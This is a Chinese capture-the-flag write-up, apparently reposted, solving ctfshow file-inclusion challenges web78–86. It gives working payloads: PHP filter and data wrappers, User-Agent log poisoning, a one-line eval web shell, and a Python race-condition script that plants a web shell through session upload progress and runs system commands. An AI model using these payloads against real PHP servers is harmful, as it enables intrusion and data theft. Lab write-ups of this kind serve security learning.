ctfshow web入门-文件包含

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门-文件包含相关的知识,希望对你有一定的参考价值。

ctfshow web入门-文件包含

web78

filter伪协议读取:?file=php://filter/read=convert.base64-encode/resource=flag.php,base64解码

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
在这里插入图片描述

web79

由于过滤了 php,采用data伪协议读取:

?file=data://text/plain,<?= `tac f*`;?>
或者
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述

web80

由于 phpdata都被过滤了,结合题目提示我们文件包含开始,利用日志包含绕过,将执行的命令插入日志中,在User-Agent插入 <?php echo system('ls');?>查找flag文件名,再读取flag

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
shell.txt内容:
<?php eval($_POST['cmd']);?>

在这里插入图片描述
在这里插入图片描述

web81

过滤了 phpdata:,参照 web81,利用日志包含绕过,将执行的命令插入日志中

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
在这里插入图片描述

web82-86

利用session.upload_progress进行文件包含和反序列化渗透

import requests
import threading
import sys
session=requests.session()
sess='H3rmesk1t'
url1="http://dae1ae47-1634-456b-b6bb-6046960b2e14.challenge.ctf.show:8080/"
url2='http://dae1ae47-1634-456b-b6bb-6046960b2e14.challenge.ctf.show:8080/?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

以上是关于ctfshow web入门-文件包含的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow web入门 信息搜集

ctfshow web入门-XXE

ctfshow web入门-XXE

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW web入门 java反序列化篇 web855

CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入